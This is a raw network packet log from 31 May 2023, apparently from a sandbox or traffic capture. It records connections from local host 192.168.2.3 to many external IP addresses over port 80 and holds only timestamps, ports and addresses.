May 31, 2023 14:50:24.469245911 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469280005 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469305992 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469331980 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469358921 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469362974 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469383001 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469396114 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469409943 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469419003 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469434977 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469449043 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469461918 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469465017 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469486952 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469489098 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469507933 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469513893 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469537973 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469558001 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469563007 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469587088 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469599009 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469611883 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469616890 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469638109 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.469645023 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469661951 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.469683886 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.518755913 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.518815994 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.518944979 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.519001961 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.523052931 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.523104906 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.523160934 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.523216009 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.531883001 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.531934023 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.532077074 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.532114983 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.540707111 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.540755033 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.540908098 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.540962934 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.549510956 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.549561977 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.549731970 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.549792051 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.558295965 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.558351040 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.558516026 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.558516026 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.567176104 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.567224979 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.567420006 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.567420959 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.575916052 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.575965881 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.576092958 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.576132059 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.584712029 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.584763050 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.584924936 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.593529940 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.593611956 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.593724966 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.593770027 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.644843102 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.644898891 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.645102024 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.649209976 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.649260998 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.649353981 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.649761915 CEST	80	49860	162.43.120.128	192.168.2.3
May 31, 2023 14:50:24.651237011 CEST	80	49860	162.43.120.128	192.168.2.3
May 31, 2023 14:50:24.653362989 CEST	49860	80	192.168.2.3	162.43.120.128
May 31, 2023 14:50:24.658015966 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.658066034 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.658143044 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.665788889 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.665837049 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.665880919 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.665956020 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.665985107 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.666001081 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.666049004 CEST	80	49858	154.203.14.100	192.168.2.3
May 31, 2023 14:50:24.666030884 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.666030884 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.666080952 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.666277885 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.666323900 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.666363955 CEST	49858	80	192.168.2.3	154.203.14.100
May 31, 2023 14:50:24.666367054 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.666392088 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.674057007 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.674104929 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.674215078 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.681624889 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.681679010 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.681864977 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.689320087 CEST	80	49857	74.208.236.101	192.168.2.3
May 31, 2023 14:50:24.689404011 CEST	49857	80	192.168.2.3	74.208.236.101
May 31, 2023 14:50:24.826709986 CEST	80	49836	69.163.239.62	192.168.2.3
May 31, 2023 14:50:24.828560114 CEST	49836	80	192.168.2.3	69.163.239.62
May 31, 2023 14:50:24.946623087 CEST	49862	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:25.032500982 CEST	80	49862	93.187.206.66	192.168.2.3
May 31, 2023 14:50:25.032628059 CEST	49862	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:25.032977104 CEST	49862	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:25.123846054 CEST	80	49862	93.187.206.66	192.168.2.3
May 31, 2023 14:50:25.123970985 CEST	80	49862	93.187.206.66	192.168.2.3
May 31, 2023 14:50:25.124120951 CEST	49862	80	192.168.2.3	93.187.206.66
May 31, 2023 14:50:25.238358974 CEST	49863	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:25.255403042 CEST	49864	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:25.289866924 CEST	80	49841	165.227.252.190	192.168.2.3
May 31, 2023 14:50:25.289957047 CEST	49841	80	192.168.2.3	165.227.252.190
May 31, 2023 14:50:25.423356056 CEST	80	49864	103.224.182.241	192.168.2.3
May 31, 2023 14:50:25.423492908 CEST	49864	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:25.423825026 CEST	49864	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:25.614041090 CEST	80	49864	103.224.182.241	192.168.2.3
May 31, 2023 14:50:25.614099979 CEST	80	49864	103.224.182.241	192.168.2.3
May 31, 2023 14:50:25.614258051 CEST	49864	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:25.614423037 CEST	49864	80	192.168.2.3	103.224.182.241
May 31, 2023 14:50:25.782227993 CEST	80	49864	103.224.182.241	192.168.2.3
May 31, 2023 14:50:26.081176996 CEST	49853	80	192.168.2.3	64.125.133.18
May 31, 2023 14:50:26.196918964 CEST	80	49845	72.44.93.236	192.168.2.3
May 31, 2023 14:50:26.201632977 CEST	49845	80	192.168.2.3	72.44.93.236
May 31, 2023 14:50:26.565655947 CEST	49856	80	192.168.2.3	198.100.146.220
May 31, 2023 14:50:26.674933910 CEST	49816	80	192.168.2.3	193.166.255.171
May 31, 2023 14:50:27.060452938 CEST	49866	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:27.079444885 CEST	80	49866	192.124.249.20	192.168.2.3
May 31, 2023 14:50:27.079682112 CEST	49866	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:27.086719990 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.087219000 CEST	49868	80	192.168.2.3	137.118.26.67
May 31, 2023 14:50:27.087780952 CEST	49869	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:27.088027954 CEST	49870	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:27.088324070 CEST	49866	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:27.090043068 CEST	49871	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:27.090297937 CEST	49872	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.104187012 CEST	80	49869	104.21.23.9	192.168.2.3
May 31, 2023 14:50:27.104283094 CEST	49869	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:27.107215881 CEST	80	49866	192.124.249.20	192.168.2.3
May 31, 2023 14:50:27.107516050 CEST	80	49866	192.124.249.20	192.168.2.3
May 31, 2023 14:50:27.107594013 CEST	49866	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:27.117351055 CEST	49869	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:27.120105982 CEST	80	49871	80.93.82.33	192.168.2.3
May 31, 2023 14:50:27.120204926 CEST	49871	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:27.133826017 CEST	80	49869	104.21.23.9	192.168.2.3
May 31, 2023 14:50:27.143049002 CEST	49871	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:27.144282103 CEST	49866	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:27.146280050 CEST	80	49869	104.21.23.9	192.168.2.3
May 31, 2023 14:50:27.146394014 CEST	49869	80	192.168.2.3	104.21.23.9
May 31, 2023 14:50:27.163614988 CEST	80	49866	192.124.249.20	192.168.2.3
May 31, 2023 14:50:27.163748026 CEST	49866	80	192.168.2.3	192.124.249.20
May 31, 2023 14:50:27.173463106 CEST	80	49871	80.93.82.33	192.168.2.3
May 31, 2023 14:50:27.173559904 CEST	49871	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:27.175057888 CEST	49861	80	192.168.2.3	210.140.73.39
May 31, 2023 14:50:27.193603039 CEST	80	49870	70.39.251.249	192.168.2.3
May 31, 2023 14:50:27.193761110 CEST	49870	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:27.235812902 CEST	80	49872	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.235971928 CEST	49872	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.239646912 CEST	49870	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:27.240021944 CEST	49871	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:27.240580082 CEST	49872	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.270520926 CEST	80	49871	80.93.82.33	192.168.2.3
May 31, 2023 14:50:27.270828962 CEST	49871	80	192.168.2.3	80.93.82.33
May 31, 2023 14:50:27.320846081 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.345339060 CEST	80	49870	70.39.251.249	192.168.2.3
May 31, 2023 14:50:27.346482038 CEST	80	49870	70.39.251.249	192.168.2.3
May 31, 2023 14:50:27.346601963 CEST	49870	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:27.360995054 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.361100912 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.365024090 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.366002083 CEST	49874	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:27.366059065 CEST	49875	80	192.168.2.3	104.26.7.221
May 31, 2023 14:50:27.366111994 CEST	49876	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:27.366328001 CEST	49870	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:27.382555962 CEST	80	49875	104.26.7.221	192.168.2.3
May 31, 2023 14:50:27.382605076 CEST	80	49876	188.114.96.7	192.168.2.3
May 31, 2023 14:50:27.382720947 CEST	49875	80	192.168.2.3	104.26.7.221
May 31, 2023 14:50:27.383021116 CEST	49876	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:27.383024931 CEST	49875	80	192.168.2.3	104.26.7.221
May 31, 2023 14:50:27.383409023 CEST	49876	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:27.385288000 CEST	80	49872	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.385325909 CEST	80	49872	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.385411024 CEST	49872	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.385411978 CEST	49872	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.386113882 CEST	49872	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.389082909 CEST	80	49874	34.117.168.233	192.168.2.3
May 31, 2023 14:50:27.389215946 CEST	49874	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:27.399391890 CEST	80	49875	104.26.7.221	192.168.2.3
May 31, 2023 14:50:27.399832964 CEST	80	49876	188.114.96.7	192.168.2.3
May 31, 2023 14:50:27.406591892 CEST	49874	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:27.407283068 CEST	49877	80	192.168.2.3	185.15.129.58
May 31, 2023 14:50:27.409028053 CEST	49878	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.409185886 CEST	80	49875	104.26.7.221	192.168.2.3
May 31, 2023 14:50:27.409277916 CEST	49875	80	192.168.2.3	104.26.7.221
May 31, 2023 14:50:27.410720110 CEST	49875	80	192.168.2.3	104.26.7.221
May 31, 2023 14:50:27.417998075 CEST	80	49876	188.114.96.7	192.168.2.3
May 31, 2023 14:50:27.418107986 CEST	49876	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:27.429662943 CEST	80	49874	34.117.168.233	192.168.2.3
May 31, 2023 14:50:27.431215048 CEST	80	49875	104.26.7.221	192.168.2.3
May 31, 2023 14:50:27.431313992 CEST	49875	80	192.168.2.3	104.26.7.221
May 31, 2023 14:50:27.441374063 CEST	80	49874	34.117.168.233	192.168.2.3
May 31, 2023 14:50:27.441473961 CEST	49874	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:27.473699093 CEST	80	49870	70.39.251.249	192.168.2.3
May 31, 2023 14:50:27.473874092 CEST	49870	80	192.168.2.3	70.39.251.249
May 31, 2023 14:50:27.530766964 CEST	80	49872	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.554820061 CEST	80	49878	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.554914951 CEST	49878	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.567533016 CEST	49878	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.591964960 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.592073917 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.607923985 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.639493942 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644335032 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644388914 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644409895 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644434929 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644483089 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644501925 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644501925 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644530058 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644530058 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644577026 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644587040 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644627094 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644638062 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644675970 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644687891 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644723892 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644741058 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644772053 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.644784927 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.644829988 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.653831005 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.670438051 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.670597076 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.670978069 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.687565088 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.689320087 CEST	49880	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:27.693255901 CEST	49881	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:27.702246904 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.702310085 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.702375889 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.702375889 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.702377081 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.702429056 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.702440977 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.702490091 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.702500105 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.702534914 CEST	80	49879	104.26.15.53	192.168.2.3
May 31, 2023 14:50:27.702594042 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.702594042 CEST	49879	80	192.168.2.3	104.26.15.53
May 31, 2023 14:50:27.708661079 CEST	80	49881	216.58.215.243	192.168.2.3
May 31, 2023 14:50:27.708762884 CEST	49881	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:27.712734938 CEST	80	49878	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.712776899 CEST	80	49878	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.712861061 CEST	49878	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.712907076 CEST	49878	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.726211071 CEST	80	49880	62.122.190.121	192.168.2.3
May 31, 2023 14:50:27.726399899 CEST	49880	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:27.756531954 CEST	49878	80	192.168.2.3	52.86.6.113
May 31, 2023 14:50:27.785861015 CEST	49881	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:27.786477089 CEST	49880	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:27.801871061 CEST	80	49881	216.58.215.243	192.168.2.3
May 31, 2023 14:50:27.805543900 CEST	49882	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:27.823698044 CEST	80	49880	62.122.190.121	192.168.2.3
May 31, 2023 14:50:27.825000048 CEST	80	49880	62.122.190.121	192.168.2.3
May 31, 2023 14:50:27.825120926 CEST	49880	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:27.853265047 CEST	49880	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:27.863123894 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880158901 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880258083 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880337954 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880363941 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880386114 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880415916 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880417109 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880460024 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880477905 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880507946 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880522013 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880553961 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880565882 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880601883 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880654097 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880657911 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880659103 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880698919 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:27.880707979 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.880783081 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:27.896358013 CEST	49883	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:27.899107933 CEST	80	49880	62.122.190.121	192.168.2.3
May 31, 2023 14:50:27.899300098 CEST	49880	80	192.168.2.3	62.122.190.121
May 31, 2023 14:50:27.901520967 CEST	80	49878	52.86.6.113	192.168.2.3
May 31, 2023 14:50:27.918298960 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.918386936 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.918452024 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.918452024 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.918457031 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.918526888 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.918589115 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.918591976 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.918643951 CEST	80	49867	118.27.125.181	192.168.2.3
May 31, 2023 14:50:27.918654919 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.918761969 CEST	49867	80	192.168.2.3	118.27.125.181
May 31, 2023 14:50:27.919787884 CEST	80	49883	34.117.168.233	192.168.2.3
May 31, 2023 14:50:27.919909954 CEST	49883	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:27.964071035 CEST	49883	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:27.966104031 CEST	80	49881	216.58.215.243	192.168.2.3
May 31, 2023 14:50:27.966172934 CEST	49881	80	192.168.2.3	216.58.215.243
May 31, 2023 14:50:27.987556934 CEST	80	49883	34.117.168.233	192.168.2.3
May 31, 2023 14:50:28.001157999 CEST	80	49883	34.117.168.233	192.168.2.3
May 31, 2023 14:50:28.001249075 CEST	49883	80	192.168.2.3	34.117.168.233
May 31, 2023 14:50:28.065696001 CEST	49830	80	192.168.2.3	39.99.233.155
May 31, 2023 14:50:28.068819046 CEST	80	49882	206.191.152.37	192.168.2.3
May 31, 2023 14:50:28.070380926 CEST	49882	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:28.101984978 CEST	49884	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:28.111955881 CEST	49882	80	192.168.2.3	206.191.152.37
May 31, 2023 14:50:28.112005949 CEST	49885	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.151897907 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:28.151931047 CEST	80	49873	59.106.19.204	192.168.2.3
May 31, 2023 14:50:28.152012110 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:28.152012110 CEST	49873	80	192.168.2.3	59.106.19.204
May 31, 2023 14:50:28.197499990 CEST	80	49809	202.254.236.40	192.168.2.3
May 31, 2023 14:50:28.197619915 CEST	49809	80	192.168.2.3	202.254.236.40
May 31, 2023 14:50:28.198810101 CEST	49886	80	192.168.2.3	103.224.212.221
May 31, 2023 14:50:28.233850002 CEST	80	49848	3.65.101.129	192.168.2.3
May 31, 2023 14:50:28.233928919 CEST	49848	80	192.168.2.3	3.65.101.129
May 31, 2023 14:50:28.239131927 CEST	80	49884	170.82.173.30	192.168.2.3
May 31, 2023 14:50:28.239375114 CEST	49884	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:28.241559982 CEST	49884	80	192.168.2.3	170.82.173.30
May 31, 2023 14:50:28.260390997 CEST	80	49885	52.71.57.184	192.168.2.3
May 31, 2023 14:50:28.260622025 CEST	49885	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.261770964 CEST	49885	80	192.168.2.3	52.71.57.184
May 31, 2023 14:50:28.265197992 CEST	49887	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:28.271634102 CEST	49888	80	192.168.2.3	80.74.154.6
May 31, 2023 14:50:28.272222042 CEST	49889	80	192.168.2.3	104.21.88.198
May 31, 2023 14:50:28.273179054 CEST	80	49847	208.109.214.162	192.168.2.3
May 31, 2023 14:50:28.273262024 CEST	49847	80	192.168.2.3	208.109.214.162
May 31, 2023 14:50:28.284471035 CEST	49863	80	192.168.2.3	96.91.204.114
May 31, 2023 14:50:28.285046101 CEST	80	49887	3.64.163.50	192.168.2.3
May 31, 2023 14:50:28.285170078 CEST	49887	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:28.285522938 CEST	49887	80	192.168.2.3	3.64.163.50
May 31, 2023 14:50:28.288957119 CEST	49890	80	192.168.2.3	188.114.96.7
May 31, 2023 14:50:28.288961887 CEST	80	49889	104.21.88.198	192.168.2.3
May 31, 2023 14:50:28.289052963 CEST	49889	80	192.168.2.3	104.21.88.198
